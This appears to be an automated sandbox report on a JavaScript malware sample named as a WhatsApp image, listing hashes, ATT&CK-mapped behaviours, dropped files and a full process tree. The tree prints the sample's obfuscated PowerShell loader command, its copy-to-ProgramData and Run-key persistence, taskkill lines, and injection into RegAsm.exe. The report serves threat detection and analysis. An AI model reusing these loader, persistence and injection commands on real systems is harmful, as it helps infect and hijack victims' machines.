Analysis
- max time kernel
149s - max time network
126s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
09/10/2026, 15:00
Static task
static1
Behavioral task
behavioral1
Sample
Whatssap Image 8-10-26.js
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
Whatssap Image 8-10-26.js
Resource
win11ltsc2024-20260911-en
General
- Target Whatssap Image 8-10-26.js
- Size 57KB
- Sample261009-sdlrlabe88
- SHA256 e27bab85732749db225ec63273a4fc1c8338669eac9aaac8d0869327f05861cf
- MD5 a1ff9d61efbeecc2e20698e59ccf6b80
- SHA1 52935df8e217fdee5fed4243bd508a434d3ba8a3
- SHA512 b0fa058584e54b565d68c2d42b56ea323071db699235f7386b8a57a201843ca9b24eac70a773c6419a43e25e23883fc14a0f897f51dc4f34c4c5cecb124c8ae1
- SSDEEP 768:7+D0CGbdCvWKHPgWmLrEIz7kb8K/Dm17cbpJlfbzSew:7++blYCvNm8cAElfbxw
- TLSH T14543BA426242B35D9260F58D8509911E8CF6865E181CE8B8B7D91DDBEFDFC3823E5FA0
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3600 4984 cmd.exe 89 - Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 7 2548 powershell.exe 9 2548 powershell.exe 10 2548 powershell.exe 11 2548 powershell.exe 12 2548 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2096 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000\Software\Microsoft\Windows\CurrentVersion\Run\dfjcljmFdg = "\"C:\\ProgramData\\Fhebpdd.js\"" powershell.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2548 set thread context of 4080 2548 powershell.exe 101 - Command and Scripting Interpreter: JavaScript 1 TTPs
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3600 cmd.exe 5720 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname wscript.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain wscript.exe - System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegAsm.exe - Kills process with taskkill 3 IoCs
pid Process 712 taskkill.exe 2356 taskkill.exe 3724 taskkill.exe - Suspicious behavior: EnumeratesProcesses 12 IoCs
pid Process 2548 powershell.exe 2548 powershell.exe 2548 powershell.exe 2096 powershell.exe 2096 powershell.exe 4080 RegAsm.exe 4080 RegAsm.exe 4080 RegAsm.exe 4080 RegAsm.exe 4080 RegAsm.exe 4080 RegAsm.exe 4080 RegAsm.exe - Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 2548 powershell.exe Token: SeDebugPrivilege 2096 powershell.exe Token: SeDebugPrivilege 712 taskkill.exe Token: SeDebugPrivilege 2356 taskkill.exe Token: SeDebugPrivilege 3724 taskkill.exe - Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 3600 wrote to memory of 2548 3600 cmd.exe 92 PID 2548 wrote to memory of 2096 2548 powershell.exe 93 PID 2096 wrote to memory of 5720 2096 powershell.exe 95 PID 5720 wrote to memory of 712 5720 cmd.exe 97 PID 5720 wrote to memory of 2356 5720 cmd.exe 99 PID 5720 wrote to memory of 3724 5720 cmd.exe 100 PID 2548 wrote to memory of 4080 2548 powershell.exe 101 PID 2548 wrote to memory of 4080 2548 powershell.exe 101 PID 2548 wrote to memory of 4080 2548 powershell.exe 101
Processes
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C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\Whatssap Image 8-10-26.js"1⤵
- Reads the TCP/IP host and domain name from the registry
PID:5652
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C:\Windows\system32\cmd.execmd /c %SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe .(${env:ProgramFiles(x86)}[12,14,18]-join'') $env:ohSonmrcz; Copy-Item -Path C:\Users\Admin\AppData\Local\Temp\Whatssap Image 8-10-26.js -Destination 'C:\ProgramData\Fhebpdd.js' -Force1⤵
- Process spawned unexpected child process
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3600 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe .(${env:ProgramFiles(x86)}[12,14,18]-join'') $env:ohSonmrcz; Copy-Item -Path C:\Users\Admin\AppData\Local\Temp\Whatssap Image 8-10-26.js -Destination 'C:\ProgramData\Fhebpdd.js' -Force2⤵
- Badlisted process makes network request
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2548 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2096 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5720 -
C:\Windows\System32\taskkill.exetaskkill /IM RegAsm.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:712
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C:\Windows\System32\taskkill.exetaskkill /IM Vbc.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2356
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C:\Windows\System32\taskkill.exetaskkill /IM MsBuild.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3724
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:4080
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3JavaScript
1PowerShell
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 528B
- SHA256 38cdabbdbc7e57a722cbfa89adab3e353ebf1b6268a3ca649d833c57f0d3a4d0
- MD5 2d40ffe567a7dc49299e2588aee8bc1c
- SHA1 e56411d50c13099b84a01bb96e9e6a0e550d3ba2
- SHA512 92d2f79ec14a937f32f59ede1b393fbe519e042891bb6d701f394ec3cb5f4227da340c93e7a741aa3bd6396bcd8c9431e846b5636fb6b17b78d0e4d20d52293a
- TLSH T104F05532F3DE8114CDA5803610CEA910373ED7CB8082CF67BB80C415A40B281CFA0621
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_frebbjta.tdw.psm1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH